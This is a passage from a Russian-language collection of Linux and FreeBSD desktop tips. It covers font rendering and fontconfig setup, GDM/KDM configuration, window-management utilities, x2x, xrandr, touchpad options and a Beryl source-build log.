       rpmbuild -bb --with bytecode_interpreter ~/rpmbuild/SPECS/freetype.spec
    или, если в spec файле определено %define without_bytecode_interpreter 1
       rpmbuild -bb --with withhout_bytecode_interpreter=0 ~/rpmbuild/SPECS/freetype.spec
    или перед сборкой редактируем spec файл и раскомментируем строчки связанные с bytecode
    например для OpenSUSE - "%%patch100 -p 1 -b .bytecode"
    
    Устанавливаем собранный пакет:
       rpm -Uvh --force ~/rpmbuild/RPMS/freetype-2.1.4-2.fc7.x86_64.rpm
    
    
    В последних версиях Debian/Ubuntu достаточно выбрать Bytecode interpreter и  Subpixel rendering
    настройки при выполнении
       sudo dpkg-reconfigure fontconfig
    
    
    Во FreeBSD при сборке порта по умолчанию включается TTF_BYTECODE_ENABLED:
       cd /usr/ports/print/freetype2/
       make WITH_LCD_FILTERING=yes
       make install
    
    
    Копируем Windows шрифты в ~/.fonts
    Если загрузка шрифтов из этой директории в дистрибутиве не настроена, то
    переходим в данную директорию и запускаем "mkfontdir" и "fc-cache ./"
    В Debian/Ubuntu/Fedora можно поставить пакет msttcorefonts или msttcore-fonts.
    Проводим тюнинг параметров fontconfig, создав ~/.fonts.conf
    
    <?xml version="1.0"?>
    <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
    <fontconfig>
     <match target="font" >
      <edit mode="assign" name="antialias" >
       <bool>true</bool>
      </edit>
     </match>
     <match target="font" >
      <edit mode="assign" name="autohint" >
       <bool>true</bool>
      </edit>
     </match>
     <match target="font" >
      <edit mode="assign" name="hinting" >
       <bool>true</bool>
      </edit>
     </match>
     <match target="font" >
      <edit mode="assign" name="hintstyle" >
       <const>hintfull</const>
      </edit>
     </match>
     <match target="font" >
      <edit mode="assign" name="rgba" >
       <const>none</const>
      </edit>
     </match>
    </fontconfig>
    
    
    Описание по параметрам можно посмотреть на странице
    http://fontconfig.org/fontconfig-user.html
    
    Кратко о параметрах:
    
    autohint - метод исправления дефектов растеризации, 
        следует поэкспериментировать включением/выключением в сочетании с установкой antialias.
    
    antialias - антиалиасинг, сглаживание начертаний.
    
    hinting - уточнение, шрифт с хинтингом получается тоньше;
    hintstyle - стиль уточнения, при hinting =true можно попробовать в hintstyle - hintfull и hintnone
    
    rgba - если none, то используется субпиксельное сглаживание.
    
     
    ----* Назначение gmail в качестве почтового клиента по умолчанию в GNOME (доп. ссылка 1)   [обсудить]
     
    В "System \ Preferences \ Preferred Applications" в качестве почтового клиента
    нужно прописать скрипт
    
       /home/имя/open_mailto.sh %s
    
    , содержащий:
    
       #!/bin/sh
       firefox https://mail.google.com/mail?view=cm&tf=0&to=`echo $1 | sed 's/mailto://'`
    
    Если нужно открывать gmail не в новом окне, а в новом табе:
    
       #!/bin/sh
       firefox -remote "openurl(https://mail.google.com/mail?view=cm&tf=0&to=`echo $1 | sed 's/mailto://'`,new-tab)"")
    
    Для уведомления о появлении почты в Gmail можно использовать программы:
    gmail-notify - http://gmail-notify.sourceforge.net/
    KGmailNotifier - http://www.kde-apps.org/content/show.php/KGmailNotifier?content=55375
    gnome-gmail-notifier - http://code.google.com/p/gnome-gmail-notifier/
    
     
    ----* Уведомление всплывающее на десктопе и управление оконным менеджером   [комментарии]
     
    Утилита notify-send, входящая в состав пакета libnotify-bin, позволяет
    отправить через D-BUS уведомление,
    которое будет отражено в GNOME в виде всплывающего окошка.
    
    Пример:
       notify-send -c info -t 1800000 "заголовок окна" "текст внутри окна"
    
    где, "-t 1800000" - таймаут висения окна в милисекундах.
    "-c info" - категория оповещения, список можно найти здесь:
       http://www.galago-project.org/specs/notification/0.9/x211.html
    
    В тексте можно использовать тэги: <b>жирный шрифт</b>, <i>наклонный</i>, <u>с подчеркиванием</u>,
    <a href="...">ссылки</a>, <img src="..." alt="...">картинки, размером до 200x100</img>.
    
    Интересные возможности по управлению оконным менеджером из командной строки
    предоставляет утилита wmctrl:
    Получить список открытых окон:
       wmctrl -l
    
    Получить список открытых окон с отображением PID-процесса и инфрмацией о размере окна:
       wmctrl -p -G -l
    
    Сделать активным окно в названии которого есть слово licq:
       wmctrl -a licq
    
    Свернуть окно в названии которого есть слово 'mozilla':
       wmctrl -r mozilla -b add,hidden
    
    Закрыть окно по его имени:
       wmctrl -F -c 'Debian bug tracking system - Mozilla'
    
    Изменить заголовок окна для окна выбранного курсором мыши:
       wmctrl -r :SELECT: -T "Selected Window"
    
    Развернуть окно со словом video в заголовке на полный экран:
       wmctrl -r "video" -b toggle,fullscreen
    
    Посмотреть какое окно является активным:
       xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"
    
    Посмотреть подробную информацию об активном окне:
       xwininfo -id 0x4a00021
    где, 0x4a00021 идентификатор окна.
    
     
    ----* Контроль двух X дисплеев одной клавиатурой и мышью  (доп. ссылка 1)   [комментарии]
     
    Утилита x2x (http://x2x.dottedmag.net/) предназначена для контроля X дисплея одной машины, 
    клавиатурой и мышью с другой, т.е. позволяет одновременно работать с двумя X-серверами.
    
    Активный дисплей выбирается в зависимости от установки фокуса мышью.
    На обеих машинах создается единый буфер обмена. 
    Например, удобно принести ноутбук на работу, поставить рядом с рабочей машиной
    и работать одной клавиатурой и мышью.
    
    Подключаемся с локальной машины на удаленную:
       ssh -X хост x2x -east -to :0
    
    где, "-X" - включение перенаправление X-протокола,
    "-east" - относительная позиция управляющего окна (другой вариант "-west").
    
    При перемещении курсора мыши на окно вторичной системы, команды клавиатуры и
    мыши будут переданы удаленному X-серверу.
    
    Второй вариант запуска, при котором, в отличии от первого варианта,
    будет создан единый буфер обмена. 
    
    На удаленной системе разрешаем подключение к X-серверу с локальной машины:
    
      xhost +локальная_машина
    
    На локальной системе выполняем:
    
      x2x -to хост:0.0 -east
    
    Где хост:0.0 определяет удаленный X-сервер к которому следует подключиться.
    
    
    Для запуска x2x под Windows необходимо установить пакет Cygwin, 
    не забыв выбрать x2x в списке устанавливаемых программ.
    При этом Windows может быть использована только в роли первичной управляющей системы, 
    к которой непосредственно подключена клавиатура и мышь.
    
    Для подключения к удаленному Linux хосту выполняем в shell приглашении Cygwin:
       x2x -fromwin -to адрес_linux_машины:0.0 -east
    
     
    ----* Уменьшение времени загрузки X11 программ через кэширование символьных таблиц (доп. ссылка 1)   Автор: Robert Knight  [комментарии]
     
    В библиотеке libx11 имеется поддержка кэширования символьных таблиц (compose-table-cache), 
    получаемых в результате парсинга "/usr/share/X11/locale/имя_локали/Compose"
    файлов локали (парсинг более 5000 строк при каждом запуске),
    что позволяет сократить время запуска некоторых приложений (например,
    использующих Qt или Gtk) на 40-200 мс.
    и уменьшить потребление памяти каждым приложением примерно на 240Кб (данные для UTF8 локали).
    
    Для включения кэша достаточно в домашней директории создать каталог .compose-cache
       mkdir $HOME/.compose-cache
    
    В SUSE Linux данный механизм задействован по умолчанию, кэш находится в
    директории /var/cache/libx11/compose.
    
     
    ----* Как поменять коричневый цвет для процесса загрузки Ubuntu (доп. ссылка 1)   Автор: www.openkazan.info  [комментарии]
     
    Для того чтобы убрать надоевший коричневый цвет, возникающий на несколько секунд 
    в процессе загрузки Ubuntu:
    
       sudo gedit /etc/gdm/PreSession/Default
    
    находим строки
    
       # Default value
       if [ "x$BACKCOLOR" = "x" ]; then
       BACKCOLOR="#dab082"
       fi
    
    и меняем цвет на любой другой, например на чёрный:
    
       # Default value
       if [ "x$BACKCOLOR" = "x" ]; then
       BACKCOLOR="#000000"
       fi 
    
     
    ----* Как в GDM запретить кнопки перезагрузки и выключения работы (доп. ссылка 1)   [обсудить]
     
    Для запрещения кнопок перезагрузки и выключения в /etc/X11/gdm/gdm.conf нужно
    исправить "SystemMenu=true" на "SystemMenu=false".
    Затем перезапустить X-ы комбинацией клавиш Ctrl + Alt + Backspace.
    Команды вызываемые для перезагрузки, выключения и засыпания, можно поменять 
    через переменные RebootCommand, HaltCommand и SuspendCommand.
    
    Другие полезные настройки:
    AutomaticLogin - логин для автоматического входа в систему.
    AlwaysRestartServer - gdm будет при каждом входе перезапускать X сервер.
    PostLoginScriptDir, PreSessionScriptDir, PostSessionScriptDir - пути к директории 
       со скриптами запускаемыми на разных этапах входа пользователя в систему.
    SessionDesktopDir - директория с описанием вариантов сессий (/etc/X11/sessions/).
    DefaultSession - сессия всегда выбираемая по умолчанию;
    AllowRoot - запретить или разрешить входа под логином root;
    GtkTheme, GraphicalTheme, GraphicalThemeDir - определение визуальной темы;
    Browser - можно отключить показ пиктограмм для пользователей;
    GlobalFaceDir - где хранятся пиктограммы (/usr/share/faces/)
    Logo - путь к логотипу;
    BackgroundColor - цвет фона;
    BackgroundProgram - можно привязать хранитель экрана для формирования фона;
    ShowLastSession - 
    
    Для kdm похожие настройки можно найти в файле /etc/X11/kdm/kdmrc
    
    Также для настройки gdm можно использовать GUI интерфейс /usr/sbin/gdmsetup, для kdm - kdm_config
    
     
    ----* Улучшение качества отображения шрифтов в Debian GNU/Linux (доп. ссылка 1)   Автор: andrey i. mavlyanov  [комментарии]
     
    В дебиан по-умолчанию xserver запускается с параметром -dpi 100. 
    Это необходимо исправить в файле /etc/X11/xinit/xserverrc:
    
       #!/bin/sh
       # $Id: xserverrc 189 2005-06-11 00:04:27Z branden $
       exec /usr/bin/X11/X -dpi 96 -nolisten tcp
    
    Поставьте пакет с шрифтами от Microsoft (для этого не забудьте включить в
    /etc/apt/sources.list репозитарий с non-free пакетами).
    
       $ sudo aptitude install msttcorefonts
    
    Создайте файл /etc/fonts/local.conf:
    
       <?xml version="1.0"?>
       <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
       <fontconfig>
            <alias>
                    <family>serif</family>
                    <prefer>
                            <family>Times New Roman</family>
                    </prefer>
            </alias>
            <alias>
                    <family>sans-serif</family>
                    <prefer>
                            <family>Arial</family>
                    </prefer>
            </alias>
            <alias>
                    <family>monospace</family>
                    <prefer>
                            <family>Courier New</family>
                    </prefer>
            </alias>
       </fontconfig>
    
    Положите в домашнюю директорию файл .Xresources. 
    В нём, помимо прочего, должна содержаться строчка:
    
       Xft.dpi:                96
    
    Также в домашнюю директорию следует положить файл .fonts.conf:
    
       <?xml version="1.0"?>
       <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
       <fontconfig>
        <match target="font" >
         <edit mode="assign" name="rgba" >
          <const>rgb</const>
         </edit>
        </match>
        <match target="font" >
         <edit mode="assign" name="hinting" >
          <bool>true</bool>
         </edit>
        </match>
        <match target="font" >
         <edit mode="assign" name="hintstyle" >
          <const>hintfull</const>
         </edit>
        </match>
        <match target="font" >
         <edit mode="assign" name="antialias" >
          <bool>true</bool>
         </edit>
        </match>
       </fontconfig>
       
    Вот и всё. Осталось перезапустить подсистему X.
     
    
     
    ----* Создание 32-битного chroot окружения в 64-битной Debian установке (доп. ссылка 1)   Автор: Amadeu A. Barbosa Jr  [комментарии]
     
    Ниже пример организации 32-битного chroot окружения в 64-битной системе.
    
    Устанавливаем пакет schroot
       aptitude install schroot 
    
    Создаем файл конфигурации /etc/schroot/schroot.conf:
       [sid]
       description=Debian sid (unstable)
       location=/srv/chroot/sid
       priority=3
       users=YOUR_USER
       groups=SOME_GROUP_LIKE_users
       root-groups=YOUR_ADMIN_USER
    
    Формируем chroot окружение:
        debootstrap --arch i386 sid /srv/chroot/sid http://ftp.br.debian.org/debian 
    
    Установка программ в chroot:
        schroot -c sid -p aptitude install wengophone
    
    Монтируем /proc и /dev основной системы в chroot:
       mount /dev /srv/chroot/sid/dev -o bind
       mount /proc /srv/chroot/sid/proc -o bind
    
    Разрешаем запуск графических приложений из chroot на основном X сервере:
        xhost +
    
    Запускаем приложения wengophone и skype:
        schroot -c sid -p wengophone
        schroot -c sid -p skype
    
    Закрываем полный доступ к X серверу.
        xhost -
    
     
    ----* Использование буфера обмена X Window в скриптах и командной строке (доп. ссылка 1)   Автор: JoshTriplett  [комментарии]
     
    Для обращения к буферу обмена из командной строки нужно использовать утилиту
    xclip (http://sourceforge.net/projects/xclip),
    которая помещает в буфер обмена то что приходит через STDIN и выталкивает из
    буфера обмена в STDOUT.
    
    
    Скопировать в буфер обмена: echo "test" | xclip
    Вывести содержимое буфера обмена: xclip -o 
    Через опцию -sel можно выбрать буфер обмена:
       clipboard (Ctrl+C,Ctrl+X, Ctrl+V или меню Copy/Paste в приложениях),
       primary (средняя кнопка мыши), secondary.
    
    
    Для вывода содержимого буфера обмена по Ctrl-v в bash, можно использовать .bashrc:
    
    if [ -n "$DISPLAY" ] && [ -x /usr/bin/xclip ] ; then
        # Work around a bash bug: \C-@ does not work in a key binding
        bind '"\C-x\C-m": set-mark'
        # The '#' characters ensure that kill commands have text to work on; if
        # not, this binding would malfunction at the start or end of a line.
        bind 'Control-v: "#\C-b\C-k#\C-x\C-?\"$(xclip -o -selection c)\"\e\C-e\C-x\C-m\C-a\C-y\C-?\C-e\C-y\ey\C-x\C-x\C-d"'
    fi
    
     
    ----* Настройка GDM/KDM (доп. ссылка 1)   Автор: soko1  [комментарии]
     
    Почему-то нигде нет информации о том, как во FreeBSD настраивается GDM/KDM 
    на предмет выбора загрузки оконных менеджеров. 
    Поэтому я решил написать короткое руководство.
    
    1. Заходим в каталог '/usr/local/etc/dm/Sessions', создаем там текстовый файл с 
    расширением .desktop, например ion3.desktop:
    
       %cd /usr/local/etc/dm/Sessions; touch ion3.desktop
    
    2. Открываем файл в текстовом редакторе и пишем туда следующее:
    
       [Desktop Entry]
       Encoding=UTF-8
       Name=Ion3
       Exec=/usr/local/bin/ion3
       Icon=
       Type=Application
    
    3. Ставим права доступа 0555:
    
       %chmod 0555 ion3.desktop
    
    Аналогичные файлы создаем для запуска других WM.
    
    4. Перезапускаем наш DM.
    
     
    ----* Как запустить GUI приложение на сервере без монитора (доп. ссылка 1)   Автор: Alexey Kovyrin  [комментарии]
     
    Можно воспользоваться xvfb (X window virtual framebuffer, http://en.wikipedia.org/wiki/Xvfb),
    X-сервером эмулирующим работу frame-buffer в памяти.
    
    Установка в Debian Linux:
       # apt-get install xvfb
    
    Запуск X-сервера.
       # Xvfb -shmem -screen 0 1280x1024x24
    Запуск приложения, которому обязательно нужен X Сервер.
       # DISPLAY=:0 xdpyinfo
    
     
    ----* Как отключить клик через касание touchpad на ноутбуке (доп. ссылка 1)   [комментарии]
     
    Одна из неприятных особенностей тачпадов - срабатывание клика при случайном
    касании (tap-to-click).
    Для отключения данной функции в Synaptic Touchpad, в xorg.conf необходимо
    добавить в секции Input Device:
    
       Option "MaxTapTime" "0"
    
    или 
    
      Option "SHMConfig" "on"
      плюс запуск syndaemon -t -d (опция  -t запрещает tapping и scrolling)
      или настройка через gsynaptics
    
     
    ----* Установка видеодрайверов ATi и nVIDIA в Fedora Core 6 Linux (доп. ссылка 1)   Автор: Mihail Marinof  [комментарии]
     
    Проще всего установить готовые RPM пакеты из репозитория livna.org.
    
    Подключаемся к репозиторию Livna:
    
       rpm -Uhv http://rpm.livna.org/livna-release-6.rpm
       rpm --import http://rpm.livna.org/RPM-LIVNA-GPG-KEY
    
    Проверяем его доступность:
       yum info kmod-nvidia
    
    Для упрощения работы с пакетами устанавливаем дополнение Yum Extender:
    
       yum install yumex
    
    возможности которого доступны через утилиту yumex или меню Kmenu / System / Yum Extender.
    
    Обновление ядра собранного для архитектуры i586 до i686 сборки (не обязательно).
    Проверьте присутствие репозитория Livna в списке, зайдите в секцию Remove 
    и выберите текущее Linux ядро и пакет kernel-devel, нажмите "add to queue" и 
    перейдите в секцию Install. Найдя список ядер (Kernel), выберите ядро и пакет 
    kernel-devel для i686 архитектуры и нажмите добавить в очередь (add to queue). 
    Войдите в секцию Queue и нажмите "Process Queue". Перезапуситите компьютер.
    
    
    Установка nVIDIA драйверов:
    
       yum install kmod-nvidia
    
    Установка  ATi драйверов:
    
       yum install xorg-x11-drv-fglrx kmod-fglrx glx-utils
    
    Проверяем после рестарта X сервера:
    
       glxinfo | grep direct
       direct rendering: Yes
    
    Для AMD64 процессора нужно добавить опцию iommu=off при загрузке Linux ядра.
    В  /etc/grub.conf вносим подобную правку:
    
       kernel /vmlinuz-2.6.18-1.2798.fc6 ro root=LABEL=/ rhgb quiet iommu=off
    
    Для материнских плат на базе чипсета Intel имеет смысл добавить в
    /etc/X11/xorg.conf после секции Driver "fglrx":
    
       Option "UseInternalAGPGART" "no"
    
     
    ----* Лог инсталляции Beryl   Автор: Kroz  [комментарии]
     
    Ниже приводится лог действий инсталляции Beryl и сопутствующих
    программ/библиотек на моем компьютере.
    К сожалению этот лог не полный, но правильный на 99% . Формат записей, я
    надеюсь, будет понятен без объяснений.
    
    Моя ОС: Slackware 10.2
    
    Инсталляция производилась преимущественно сборкой из исходников (за некоторым исключением)
    
    Действия производились на основании материала по ссылке:
    http://wiki.beryl-project.org/wiki/Install_Beryl_on_Slackware
    
    Рекомендую пользоваться ссылкой, а мой лог использовать как помощь во избежание 
    следующих подводных камней: зависимости, версии (я ставил последние версии
    софта, но некоторые не собрались,
    поэтому приходилось брать не последние версии).
    
    Лог не описывает инсталляцию последнего Xorg и dbus.
    
    Ценность данного материала предоставляю определить модератору и публике. 
    Но лично я был бы рад найти что-то подобное перед тем как я начал инсталляцию.
    
    -----------------------------
    
    Beryl> Install DBus
    Beryl> Install DBus-glibc
    Beryl> Install beryl-core
    Beryl>beryl-core> tar -jxvf beryl-core-0.1.99.2.tar.bz2
    Beryl>beryl-core> cd beryl-core-0.1.99.2
    Beryl>beryl-core> ./configure --prefix=/usr --with-x
    Beryl>beryl-core> make all
    Beryl>beryl-core> sudo make install
    Beryl>beryl-core> cd ..
    
    Beryl> Install beryl-plugins
    Beryl>Beryl-plugins> Install librsvg
    Beryl>Beryl-plugins>librsvg> Install FreeType
    Beryl>Beryl-plugins>librsvg>FreeType> tar -jxvf freetype-2.1.10.tar.bz2
    Beryl>Beryl-plugins>librsvg>FreeType> cd freetype-2.1.10
    Beryl>Beryl-plugins>librsvg>FreeType> vi include/freetype/config/ftoption.h
    Beryl>Beryl-plugins>librsvg>FreeType> Uncomment '#define TT_CONFIG_OPTION_BYTECODE_INTERPRETER'
    Beryl>Beryl-plugins>librsvg>FreeType> ./configure --prefix=/usr
    Beryl>Beryl-plugins>librsvg>FreeType> make all 
    Beryl>Beryl-plugins>librsvg>FreeType> sudo make install
    Beryl>Beryl-plugins>librsvg>FreeType> cd ..
    Beryl>Beryl-plugins>librsvg> tar-jxvf librsvg-2.14.4.tar.bz2
    Beryl>Beryl-plugins>librsvg> cd librsvg-2.14.4
    Beryl>Beryl-plugins>librsvg> ./configure --prefix=/usr --with-x
    Beryl>Beryl-plugins>librsvg> make all
    Beryl>Beryl-plugins>librsvg> sudo install
    Beryl>Beryl-plugins>librsvg> cd ..
    Beryl>Beryl-plugins> tar -zxvf beryl-plugins-0.1.99.2.tar.bz2
    Beryl>Beryl-plugins> cd beryl-plugins-0.1.99.2
    Beryl>Beryl-plugins> ./configure --prefix=/usr
    Beryl>Beryl-plugins> make all
    Beryl>Beryl-plugins> sudo make install
    Beryl>Beryl-plugins> cd ..
    
    Beryl> Install Beryl-manager
    Beryl>beryl-manager> tar -jxvf beryl-manager-0.1.99.2.tar.bz2
    Beryl>beryl-manager> cd beryl-manager-0.1.99.2
    Beryl>beryl-manager> ./configure --prefix=/usr
    Beryl>beryl-manager> make all
    Beryl>beryl-manager> sudo make install
    Beryl>beryl-manager> cd ..
    
    Beryl> Install beryl-settings-simple
    Beryl>beryl-settings-simple> tar -jxvf beryl-settings-simple-0.1.99.2.tar.bz2
    Beryl>beryl-settings-simple> cd beryl-settings-simple-0.1.99.2
    Beryl>beryl-settings-simple> ./configure --prefix=/usr
    Beryl>beryl-settings-simple> make all
    Beryl>beryl-settings-simple> sudo make install
    Beryl>beryl-settings-simple> cd ..
    
    Beryl>Install beryl-settings
    Beryl>beryl-settings> tar -jxvf beryl-settings-0.1.99.2.tar.bz2
    Beryl>beryl-settings> cd beryl-settings-0.1.991.2
    Beryl>beryl-settings> ./configure --prefix=/usr
    Beryl>beryl-settings> make all
    Beryl>beryl-settings> sudo make install
    Beryl>beryl-settings> cd ..
    
    Beryl> Install beryl-vidcap
    Beryl>beryl-vidcap> Install seom
    Beryl>beryl-vidcap>seom> Install yasm
    Beryl>beryl-vidcap>seom>yasm> tar -zxvf yasm-0.5.0.tar.gz
    Beryl>beryl-vidcap>seom>yasm> cd yasm-0.5.0 
    Beryl>beryl-vidcap>seom>yasm> ./configure --prefix=/usr
    Beryl>beryl-vidcap>seom>yasm> make all
    Beryl>beryl-vidcap>seom>yasm> sudo make install
    Beryl>beryl-vidcap>seom>yasm> cd ..
    Beryl>beryl-vidcap>seom> !!! Note: following way does not work. Seom was
    actually installed from TGZ package.
    Beryl>beryl-vidcap>seom> svn co svn://dbservice.com/big/svn/seom/trunk seom1
    Beryl>beryl-vidcap>seom> cd seom
    Beryl>beryl-vidcap>seom> ./configure --prefix=/usr
    Beryl>beryl-vidcap>seom> make all
    Beryl>beryl-vidcap>seom> sudo make install
    Beryl>beryl-vidcap>seom> cd ..
    Beryl>beryl-vidcap> tar -jxvg beryl-vidcap-0.1.99.2.tar.bz2
    Beryl>beryl-vidcap> cd beryl-vidcap-0.1.99.2
    Beryl>beryl-vidcap> In Makefile make PREFIX=/usr
    Beryl>beryl-vidcap> make all
    Beryl>beryl-vidcap> sudo make install
    Beryl>beryl-vidcap> cd ..
    
    Beryl> Install beryl-settings-bindings
    Beryl>beryl-settings-bindings> Install Pyrex
    Beryl>beryl-settings-bindings/Pyrex> tar -xvf Pyrex-0.9.5.tar.gz
    Beryl>beryl-settings-bindings/Pyrex> cd Pyrex-0.9.5
    Beryl>beryl-settings-bindings/Pyrex> sudo python setup.py install
    Beryl>beryl-settings-bindings/Pyrex> cd ..
    Beryl>beryl-settings-bindings> tar -jxvf beryl-settings-bindings-0.1.99.2.tar.bz2
    Beryl>beryl-settings-bindings> cd beryl-settings-bindings-0.1.99.2
    Beryl>beryl-settings-bindings> ./configure --prefix=/usr
    Beryl>beryl-settings-bindings> make all
    Beryl>beryl-settings-bindings> sudo make install
    Beryl>beryl-settings-bindings> cd ..
    
    Beryl> Install pygtk
    Beryl>pygtk> Install pygobject
    Beryl>pygtk>pygobject> tar -xvf pygobject-2.12.3.tar.bz2
    Beryl>pygtk>pygobject> cd pygobject-2.12.3
    Beryl>pygtk>pygobject> ./configure --prefix=/usr
    Beryl>pygtk>pygobject> make all
    Beryl>pygtk>pygobject> sudo make install
    Beryl>pygtk>pygobject> cd ..
    Beryl>pygtk> tar -jxvf pygtk-2.10.3.tar.bz2
    Beryl>pygtk> cd pygtk-2.10.3
    Beryl>pygtk> ./configure --prefix=/usr
    Beryl>pygtk> make all
    Beryl>pygtk> sudo make install
    Beryl>pygtk> cd ..
    
    Beryl> Install pycairo
    Beryl>pycairo> Install cairo
    Beryl>pycairo>cairo> Install cairo PNG backend (libpng)
    Beryl>pycairo>cairo>libpng> tar -xvf libpng-1.2.15.tar.bz2
    Beryl>pycairo>cairo>libpng> cd libpng-1.2.15
    Beryl>pycairo>cairo>libpng> ./configure --prefix=/usr
    Beryl>pycairo>cairo>libpng> make all
    Beryl>pycairo>cairo>libpng> sudo make install
    Beryl>pycairo>cairo>libpng> cd ..
    Beryl>pycairo>cairo>tar -xvf cairo-1.2.4.tar.gz
    Beryl>pycairo>cairo>cd cairo-1.2.4
    Beryl>pycairo>cairo>./configure --prefix=/usr --with-x
    Beryl>pycairo>cairo>make all
    Beryl>pycairo>cairo>sudo make install
    Beryl>pycairo>cairo>cd ..
    Beryl>pycairo>tar -xvf pycairo-1.2.2.tar.bz2
    Beryl>pycairo>cd pycairo-1.2.2
    Beryl>pycairo>./configure --prefix=/usr
    Beryl>pycairo>make all
    Beryl>pycairo>sudo make install
    
    Beryl> Install emerald
    Beryl>emerald> Install libwnck
    Beryl>emerald>libwnck> tar -jxvf libwnck-2.14.3.tar.bz2
    Beryl>emerald>libwnck> cd libwnck-2.14.3
    Beryl>emerald>libwnck> ./configure --prefix=/usr --with-x
    Beryl>emerald>libwnck> make all
    Beryl>emerald>libwnck> sudo make install
    Beryl>emerald>libwnck> cd ..
    Beryl>emerald> tar -jxvf emerald-0.1.99.2.tar.bz2
    Beryl>emerald> cd emerald-0.1.99.2
    Beryl>emerald> ./configure --prefix=/usr
    Beryl>emerald> make all
    Beryl>emerald> sudo make install
    Beryl>emerald> cd ..
    
    Beryl> Install emerald-plugins
    Beryl>emerald-plugins> tar -jxvf emerald-themes-0.1.99.2.tar.bz2
    Beryl>emerald-plugins> cd emerald-themes-0.1.99.2
    Beryl>emerald-plugins> ./configure --prefix=/usr
    Beryl>emerald-plugins> make all
    Beryl>emerald-plugins> sudo make install
    Beryl>emerald-plugins> cd ..
    
    Beryl> Install aquamarine
    Beryl>aquamarine> tar -jxvf aquamarine-0.1.99.2.tar.bz2
    Beryl>aquamarine> cd aquamarine-0.1.99.2
    Beryl>aquamarine> ./configure --prefix=/usr
    Beryl>aquamarine> make all
    Beryl>aquamarine> sudo make install
    Beryl>aquamarine> cd ..
    
     
    ----* Настройка автозапуска программ в KDE и GNOME (доп. ссылка 1)   Автор: cyberciti.biz  [комментарии]
     
    В любом оконном менеджере достаточно прописать запуск программы в ~/.xinitrc
    например, дописать в конец:
       /usr/bin/xawtv &
    
    В KDE:
    
    Для автозапуска достаточно создать символическую ссылку в директории ~/.kde/Autostart
    Например:
      $ cd ~/.kde/Autostart
      $ ln -s $(which xawtv) .
      $ ln -s $(which mozilla-thunderbird) .
    
    
    В GNOME:
    
    Меню "Open control center - Sessions - Startup Programs."
    Или добавить программу в файл  ~/.gnome2/session-manual
    
     
    ----* Как принудительно выключить LCD экран ноутбука (доп. ссылка 1)   [комментарии]
     
    При включенном в ядре ACPI:
       xset dpms force off
    (включится после нажатия любой клавиши)
    
    Для выключения по таймауту:
    /etc/X11/xorg.conf
    
       Section "Monitor"
           Option "DPMS"
           # Option "DPMS" "TRUE" # для закрытого nvidia драйвера
    
       Section "ServerLayout"
           Option "OffTime" "20" # таймаут 20 минут
    
     
    ----* Как в Linux решить проблему конфликта тачпада и мыши на ноутбуке (доп. ссылка 1)   Автор: rmcgowan  [комментарии]
     
    Некоторые проблемы совместной работы мыши и Touchpad можно решить,
    добавив параметр загрузки ядра:
       psmouse.proto=imps
    
    Ниже пример настройки  Touchpad и внешней мыши для X.Org:
    
    # Тачпад
    Section "InputDevice"
      Driver        "synaptics"
      Identifier    "Mouse2"
      Option        "Device"        "/dev/psaux"
      Option        "Edges"         "1900 5400 1800 3900"
      Option        "Finger"        "25 30"
      Option        "MaxTapTime" "20"
      Option        "MaxTapMove" "220"
      Option        "VertScrollDelta" "100"
      Option        "MinSpeed"      "0.02"
      Option        "MaxSpeed"      "0.18"
      Option        "AccelFactor" "0.0010"
    EndSection
    
    # USB мышь
    Section "InputDevice"
        Identifier          "Mouse1"
        Driver              "mouse"
        Option              "Protocol"    "IMPS/2"
        Option              "Device"      "/dev/input/mice"
        Option              "ZAxisMapping" "4 5"
        Option              "Buttons" "5"
    EndSection
    
    Section "ServerLayout"
       ....
        InputDevice "Mouse2" "CorePointer"
        InputDevice "Mouse1" "SendCoreEvents"
    EndSection
    
     
    ----* XDM с альтернативным рабочим столом.   Автор: Skif (Чижиков Владимир)  [комментарии]
     
    Часто вижу на разных форумах вопрос, а как сделать автоматическую загрузку blackbox/windowmaker/etc
    из менеджера дисплеев разряда xdm потипу kde из kdm:
    
       xdm -session /usr/X11R6/bin/blackbox
    
    И тогда каждому авторизированному пользователю будет запущен после входа blackbox
    ля старта xdm при загрузке машины:
       [/etc/ttys]
       root@fbsd1 /root :less /etc/ttys | grep xdm
       .....
       ttyv8   "/usr/X11R6/bin/xdm -nodaemon -session /usr/X11R6/bin/blackbox"  xterm   off secure
       .....
    
    или при помощи скрипта помещенного либо в 
    
       /usr/local/etc/rc.d/
    
    либо в
    
       /usr/X11R6/etc/rc.d/
    
    вида:
    
       [xdm.sh]
       #!/bin/sh
       X=Xorg
       case $1 in
       start)
    	echo "XDM starting now... "
    	/usr/X11R6/bin/xdm -session /usr/X11R6/bin/blackbox
    	echo "XDM started!"
    	;;
       stop)
    	echo -n "XDM stopping now... "
    	killall -9 xdm
    	killall -9 $X
    	echo -n "XDM stopped!"
    	;;
       *)
    	echo -n "Use start|stop parametrs! Error!"
    	exit 64
    	;;
       esac
    
     
    ----* Как изменить разрешение в X'ах без перезапуска X-сервера (доп. ссылка 1)   Автор: Steve  [комментарии]
     
    Смотрим список поддерживаемых разрешений:
       xrandr
    
    Выбираем одно из них:
       xrandr --size 800x600
    
    При необходимости указываем и частоту развертки:
       xrandr -s 1024x768 -r 85
    
    Автоматически задействовать все устройства вывода
      xrandr --auto
    
    Подключение второго монитора, без переконфигурации XOrg:
      xrandr -output VGA -auto -left-of LVDS
    
    После отключения второго монитора 
      xrandr -output VGA -off
    
    Другие примеры:
       xrandr --output DVI-0 --off
       xrandr --output VGA --auto --right-of LVDS
       xrandr --output DVI-0 --mode 0
       xrandr --addmode S-video 800x600
       xrandr --output S-video --mode 800x600
    
     
    ----* Как включить Windows раскладку клавиатуры в XWindow (точка и запятая, вместо ? и /) ?   [комментарии]
     
    Чтобы при наборе русских символов, при нажатии на клавишу с вопросом, рядом с правым Shift, 
    печатались точка и запятая, вместо вопроса и слэша, в Section "InputDevice"
    файла конфигурации XOrg или XFree86
    
    меняем:
        Option "XkbLayout" "us,ru"
    на
        Option "XkbLayout" "us,ru(winkeys)"
    
    или просто добавляем (запятую не пропустите):
        Option "XkbVariant" ",winkeys"
    
     
    ----* Как использовать графические диалоговые окна в shell скриптах (доп. ссылка 1)   [обсудить]
     
    Выбор Yes или No (результат в $?, 0 - yes, 1 - no, 255 - закрыто окно), "0 0" -
    размер окна по умолчанию:
        Xdialog --title "Title" --yesno "Test or not" 0 0
    
